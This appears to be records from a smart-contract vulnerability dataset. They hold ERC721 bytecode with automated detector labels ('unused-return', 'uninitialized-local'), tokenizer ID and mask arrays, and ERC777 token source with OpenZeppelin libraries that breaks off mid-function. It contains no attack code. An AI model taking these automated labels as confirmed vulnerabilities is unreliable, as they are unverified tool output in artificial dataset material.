611089565b34801561057a57600080fd5b506102956105893660046122b3565b611105565b61029561059c3660046120cf565b611134565b3480156105ad57600080fd5b50600a546001600160a01b03166102d9565b3480156105cb57600080fd5b506102ac611180565b3480156105e057600080fd5b506102956105ef3660046121c1565b61118f565b34801561060057600080fd5b506012546102d9906001600160a01b031681565b34801561062057600080fd5b5061029561062f366004612159565b611254565b34801561064057600080fd5b506102ac611286565b34801561065557600080fd5b506102ac6106643660046122b3565b611293565b34801561067557600080fd5b50610347600e5481565b34801561068b57600080fd5b5061029561069a36600461226a565b611418565b3480156106ab57600080fd5b506102606106ba3660046120ea565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b3480156106f457600080fd5b506102956107033660046120cf565b611455565b34801561071457600080fd5b5060105461026090610100900460ff1681565b60006001600160e01b0319821663780e9d6360e01b148061074c575061074c826114f0565b92915050565b600a546001600160a01b031633146107855760405162461bcd60e51b815260040161077c90612530565b60405180910390fd5b6010805460ff1916911515919091179055565b6060600080546107a790612644565b80601f01602080910402602001604051908101604052809291908181526020018280546107d390612644565b80156108205780601f106107f557610100808354040283529160200191610820565b820191906000526020600020905b81548152906001019060200180831161080357829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166108a35760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161077c565b506000908152600460205260409020546001600160a01b031690565b60006108ca82610f48565b9050806001600160a01b0316836001600160a01b031614156109385760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161077c565b336001600160a01b0382161480610954575061095481336106ba565b6109c65760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161077c565b6109d08383611540565b505050565b600a546001600160a01b031633146109ff5760405162461bcd60e51b815260040161077c90612530565b601080549115156101000261ff0019909216919091179055565b60118054610a2690612644565b80601f0160208091040260200160405190810160405280929190818152602001828054610a5290612644565b8015610a9f5780601f10610a7457610100808354040283529160200191610a9f565b820191906000526020600020905b815481529060010190602001808311610a8257829003601f168201915b505050505081565b610ab133826115ae565b610acd5760405162461bcd60e51b815260040161077c90612565565b6109d08383836116a5565b6000610ae383610fcc565b8210610b455760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b606482015260840161077c565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610b985760405162461bcd60e51b815260040161077c90612530565b476000610ba6600a836125ce565b604051909150339082156108fc029083906000818181858888f19350505050610bce57600080fd5b610bd88183612601565b91506000610be76005846125ce565b905060006002610bf78386612601565b610c0191906125ce565b6013546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050610c3457600080fd5b6014546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050610c6657600080fd5b6015546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050610c9857600080fd5b50505050565b600a546001600160a01b03163314610cc85760405162461bcd60e51b815260040161077c90612530565b8051610cdb906011906020840190611f79565b5050565b60105460ff1615610cef57600080fd5b60008111610cfc57600080fd5b600f54811115610d0b57600080fd5b6000610d1660085490565b600e54909150610d2683836125b6565b1115610d3157600080fd5b600a546001600160a01b03163314610d5d5781600d54610d5191906125e2565b341015610d5d57600080fd5b60015b828111610c9857610d7a84610d7583856125b6565b611850565b80610d848161267f565b915050610d60565b6109d083838360405180602001604052806000815250611254565b60606000610db483610fcc565b905060008167ffffffffffffffff811115610dd157610dd1612706565b604051908082528060200260200182016040528015610dfa578160200160208202803683370190505b50905060005b82811015610e4157610e128582610ad8565b828281518110610e2457610e246126f0565b602090810291909101015280610e398161267f565b915050610e00565b509392505050565b600a546001600160a01b03163314610e735760405162461bcd60e51b815260040161077c90612530565b600d55565b6000610e8360085490565b8210610ee65760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b606482015260840161077c565b60088281548110610ef957610ef96126f0565b90600052602060002001549050919050565b600a546001600160a01b03163314610f355760405162461bcd60e51b815260040161077c90612530565b8051610cdb90600b906020840190611f79565b6000818152600260205260408120546001600160a01b03168061074c5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161077c565b600b8054610a2690612644565b60006001600160a01b0382166110375760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161077c565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b0316331461107d5760405162461bcd60e51b815260040161077c90612530565b611087600061186a565b565b601254604051635099eaf360e01b81526001600160a01b0390911690635099eaf3906110bf90339088908890889060040161245a565b600060405180830381600087803b1580156110d957600080fd5b505af11580156110ed573d6000803e3d6000fd5b5050505080151560011415610c9857610c98836118bc565b600a546001600160a01b0316331461112f5760405162461bcd60e51b815260040161077c90612530565b600f55565b600a546001600160a01b0316331461115e5760405162461bcd60e51b815260040161077c90612530565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6060600180546107a790612644565b6001600160a01b0382163314156111e85760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161077c565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b61125e33836115ae565b61127a5760405162461bcd60e51b815260040161077c90612565565b610c9884848484611963565b600c8054610a2690612644565b6000818152600260205260409020546060906001600160a01b03166113125760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b606482015260840161077c565b601054610100900460ff16156113b4576011805461132f90612644565b80601f016020809104026020016040519081016040528092919081815260200182805461135b90612644565b80156113a85780601f1061137d576101008083540402835291602001916113a8565b820191906000526020600020905b81548152906001019060200180831161138b57829003601f168201915b50505050509050919050565b60006113be611996565b905060008151116113de576040518060200160405280600081525061140c565b806113e8846119a5565b600c6040516020016113fc93929190612359565b6040516020818303038152906040525b9392505050565b919050565b600a546001600160a01b031633146114425760405162461bcd60e51b815260040161077c90612530565b8051610cdb90600c906020840190611f79565b600a546001600160a01b0316331461147f5760405162461bcd60e51b815260040161077c90612530565b6001600160a01b0381166114e45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161077c565b6114ed8161186a565b50565b60006001600160e01b031982166380ac58cd60e01b148061152157506001600160e01b03198216635b5e139f60e01b145b8061074c57506301ffc9a760e01b6001600160e01b031983161461074c565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061157582610f48565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166116275760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161077c565b600061163283610f48565b9050806001600160a01b0316846001600160a01b0316148061166d5750836001600160a01b03166116628461082a565b6001600160a01b0316145b8061169d57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166116b882610f48565b6001600160a01b0316146117205760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b606482015260840161077c565b6001600160a01b0382166117825760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161077c565b61178d838383611aa3565b611798600082611540565b6001600160a01b03831660009081526003602052604081208054600192906117c1908490612601565b90915550506001600160a01b03821660009081526003602052604081208054600192906117ef9084906125b6565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b610cdb828260405180602001604052806000815250611b5b565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60006118c782610f48565b90506118d581600084611aa3565b6118e0600083611540565b6001600160a01b0381166000908152600360205260408120805460019290611909908490612601565b909155505060008281526002602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b61196e8484846116a5565b61197a84848484611b8e565b610c985760405162461bcd60e51b815260040161077c906124de565b6060600b80546107a790612644565b6060816119c95750506040805180820190915260018152600360fc1b602082015290565b8160005b81156119f357806119dd8161267f565b91506119ec9050600a836125ce565b91506119cd565b60008167ffffffffffffffff811115611a0e57611a0e612706565b6040519080825280601f01601f191660200182016040528015611a38576020820181803683370190505b5090505b841561169d57611a4d600183612601565b9150611a5a600a8661269a565b611a659060306125b6565b60f81b818381518110611a7a57611a7a6126f0565b60200101906001600160f81b031916908160001a905350611a9c600a866125ce565b9450611a3c565b6001600160a01b038316611afe57611af981600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611b21565b816001600160a01b0316836001600160a01b031614611b2157611b218382611c9b565b6001600160a01b038216611b38576109d081611d38565b826001600160a01b0316826001600160a01b0316146109d0576109d08282611de7565b611b658383611e2b565b611b726000848484611b8e565b6109d05760405162461bcd60e51b815260040161077c906124de565b60006001600160a01b0384163b15611c9057604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611bd290339089908890889060040161241d565b602060405180830381600087803b158015611bec57600080fd5b505af1925050508015611c1c575060408051601f3d908101601f19168201909252611c199181019061224d565b60015b611c76573d808015611c4a576040519150601f19603f3d011682016040523d82523d6000602084013e611c4f565b606091505b508051611c6e5760405162461bcd60e51b815260040161077c906124de565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061169d565b506001949350505050565b60006001611ca884610fcc565b611cb29190612601565b600083815260076020526040902054909150808214611d05576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611d4a90600190612601565b60008381526009602052604081205460088054939450909284908110611d7257611d726126f0565b906000526020600020015490508060088381548110611d9357611d936126f0565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611dcb57611dcb6126da565b6001900381819060005260206000200160009055905550505050565b6000611df283610fcc565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216611e815760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161077c565b6000818152600260205260409020546001600160a01b031615611ee65760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161077c565b611ef260008383611aa3565b6001600160a01b0382166000908152600360205260408120805460019290611f1b9084906125b6565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611f8590612644565b90600052602060002090601f016020900481019282611fa75760008555611fed565b82601f10611fc057805160ff1916838001178555611fed565b82800160010185558215611fed579182015b82811115611fed578251825591602001919060010190611fd2565b50611ff9929150611ffd565b5090565b5b80821115611ff95760008155600101611ffe565b600067ffffffffffffffff8084111561202d5761202d612706565b604051601f8501601f19908116603f0116810190828211818310171561205557612055612706565b8160405280935085815286868601111561206e57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b038116811461141357600080fd5b8035801515811461141357600080fd5b600082601f8301126120c057600080fd5b61140c83833560208501612012565b6000602082840312156120e157600080fd5b61140c82612088565b600080604083850312156120fd57600080fd5b61210683612088565b915061211460208401612088565b90509250929050565b60008060006060848603121561213257600080fd5b61213b84612088565b925061214960208501612088565b9150604084013590509250925092565b6000806000806080858703121561216f57600080fd5b61217885612088565b935061218660208601612088565b925060408501359150606085013567ffffffffffffffff8111156121a957600080fd5b6121b5878288016120af565b91505092959194509250565b600080604083850312156121d457600080fd5b6121dd83612088565b91506121146020840161209f565b600080604083850312156121fe57600080fd5b61220783612088565b946020939093013593505050565b60006020828403121561222757600080fd5b61140c8261209f565b60006020828403121561224257600080fd5b813561140c8161271c565b60006020828403121561225f57600080fd5b815161140c8161271c565b60006020828403121561227c57600080fd5b813567ffffffffffffffff81111561229357600080fd5b8201601f810184136122a457600080fd5b61169d84823560208401612012565b6000602082840312156122c557600080fd5b5035919050565b600080600080608085870312156122e257600080fd5b8435935060208501359250604085013567ffffffffffffffff81111561230757600080fd5b612313878288016120af565b9250506123226060860161209f565b905092959194509250565b60008151808452612345816020860160208601612618565b601f01601f19169290920160200192915050565b60008451602061236c8285838a01612618565b85519184019161237f8184848a01612618565b8554920191600090600181811c908083168061239c57607f831692505b8583108114156123ba57634e487b7160e01b85526022600452602485fd5b8080156123ce57600181146123df5761240c565b60ff1985168852838801955061240c565b60008b81526020902060005b858110156124045781548a8201529084019088016123eb565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906124509083018461232d565b9695505050505050565b60018060a01b0385168152836020820152826040820152608060608201526000612450608083018461232d565b6020808252825182820181905260009190848201906040850190845b818110156124bf578351835292840192918401916001016124a3565b50909695505050505050565b60208152600061140c602083018461232d565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b600082198211156125c9576125c96126ae565b500190565b6000826125dd576125dd6126c4565b500490565b60008160001904831182151516156125fc576125fc6126ae565b500290565b600082821015612613576126136126ae565b500390565b60005b8381101561263357818101518382015260200161261b565b83811115610c985750506000910152565b600181811c9082168061265857607f821691505b6020821081141561267957634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612693576126936126ae565b5060010190565b6000826126a9576126a96126c4565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b0319811681146114ed57600080fdfea2646970667358221220a63fd8964de898cf8de51cb244bc9ad6ab9257ad649e4c08c8a601b74d69aef464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 16086, 29292, 2620, 2581, 29097, 2050, 2509, 2063, 2487, 2546, 2692, 2575, 2050, 26187, 21057, 27009, 26976, 12521, 2475, 2094, 2575, 2546, 2683, 2094, 2683, 20842, 20842, 18139, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 12696, 6494, 6593, 20523, 1012, 14017, 1000, 1025, 3206, 21146, 25153, 2545, 2003, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1010, 2219, 3085, 1063, 2478, 7817, 2005, 21318, 3372, 17788, 2575, 1025, 5164, 2270, 2918, 9496, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,006
0x960c1b741B4D4FFb8D5Dc6019534386ef764d69d
// SPDX-License-Identifier: MIT // Unagi Contracts v1.0.0 (MgcToken.sol) pragma solidity 0.8.12; import "@openzeppelin/contracts/token/ERC777/ERC777.sol"; import "@openzeppelin/contracts/utils/Multicall.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; /** * @title MgcToken * @dev Implementation of IERC777. MGC token has an unlimited supply. * @custom:security-contact [email protected] */ contract MgcToken is ERC777, Multicall, Pausable, AccessControl { bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 public constant PREDICATE_ROLE = keccak256("PREDICATE_ROLE"); /** * @dev Create MGC contract. * * Setup predicate address as the predicate role. * See https://github.com/maticnetwork/matic-docs/blob/ae7315656703ed5d1394640e830ca6c8f591a7e4/docs/develop/ethereum-polygon/mintable-assets.md#contract-to-be-deployed-on-ethereum */ constructor(address predicate) ERC777("Manager Contracts Token", "MGC", new address[](0)) { _grantRole(DEFAULT_ADMIN_ROLE, msg.sender); _grantRole(PAUSER_ROLE, msg.sender); _setupRole(PREDICATE_ROLE, predicate); } /** * @dev Mint new tokens. * * Requirements: * * - Caller must have role PREDICATE_ROLE. * - The contract must not be paused. */ function mint(address user, uint256 amount) external onlyRole(PREDICATE_ROLE) whenNotPaused { _mint(user, amount, "", ""); } /** * @dev Pause token transfers. * * Requirements: * * - Caller must have role PAUSER_ROLE. */ function pause() external onlyRole(PAUSER_ROLE) { _pause(); } /** * @dev Unpause token transfers. * * Requirements: * * - Caller must have role PAUSER_ROLE. */ function unpause() external onlyRole(PAUSER_ROLE) { _unpause(); } /** * @dev Before token transfer hook. * * Requirements: * * - The contract must not be paused. */ function _beforeTokenTransfer( address operator, address from, address to, uint256 amount ) internal override whenNotPaused { super._beforeTokenTransfer(operator, from, to, amount); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC1820Registry.sol) pragma solidity ^0.8.0; /** * @dev Interface of the global ERC1820 Registry, as defined in the * https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register * implementers for interfaces in this registry, as well as query support. * * Implementers may be shared by multiple accounts, and can also implement more * than a single interface for each account. Contracts can implement interfaces * for themselves, but externally-owned accounts (EOA) must delegate this to a * contract. * * {IERC165} interfaces can also be queried via the registry. * * For an in-depth explanation and source code analysis, see the EIP text. */ interface IERC1820Registry { /** * @dev Sets `newManager` as the manager for `account`. A manager of an * account is able to set interface implementers for it. * * By default, each account is its own manager. Passing a value of `0x0` in * `newManager` will reset the manager to this initial state. * * Emits a {ManagerChanged} event. * * Requirements: * * - the caller must be the current manager for `account`. */ function setManager(address account, address newManager) external; /** * @dev Returns the manager for `account`. * * See {setManager}. */ function getManager(address account) external view returns (address); /** * @dev Sets the `implementer` contract as ``account``'s implementer for * `interfaceHash`. * * `account` being the zero address is an alias for the caller's address. * The zero address can also be used in `implementer` to remove an old one. * * See {interfaceHash} to learn how these are created. * * Emits an {InterfaceImplementerSet} event. * * Requirements: * * - the caller must be the current manager for `account`. * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not * end in 28 zeroes). * - `implementer` must implement {IERC1820Implementer} and return true when * queried for support, unless `implementer` is the caller. See * {IERC1820Implementer-canImplementInterfaceForAddress}. */ function setInterfaceImplementer( address account, bytes32 _interfaceHash, address implementer ) external; /** * @dev Returns the implementer of `interfaceHash` for `account`. If no such * implementer is registered, returns the zero address. * * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28 * zeroes), `account` will be queried for support of it. * * `account` being the zero address is an alias for the caller's address. */ function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address); /** * @dev Returns the interface hash for an `interfaceName`, as defined in the * corresponding * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP]. */ function interfaceHash(string calldata interfaceName) external pure returns (bytes32); /** * @notice Updates the cache with whether the contract implements an ERC165 interface or not. * @param account Address of the contract for which to update the cache. * @param interfaceId ERC165 interface for which to update the cache. */ function updateERC165Cache(address account, bytes4 interfaceId) external; /** * @notice Checks whether a contract implements an ERC165 interface or not. * If the result is not cached a direct lookup on the contract address is performed. * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling * {updateERC165Cache} with the contract address. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); /** * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); event ManagerChanged(address indexed account, address indexed newManager); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Multicall.sol) pragma solidity ^0.8.0; import "./Address.sol"; /** * @dev Provides a function to batch together multiple calls in a single external call. * * _Available since v4.1._ */ abstract contract Multicall { /** * @dev Receives and executes a batch of function calls on this contract. */ function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) { results = new bytes[](data.length); for (uint256 i = 0; i < data.length; i++) { results[i] = Address.functionDelegateCall(address(this), data[i]); } return results; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = 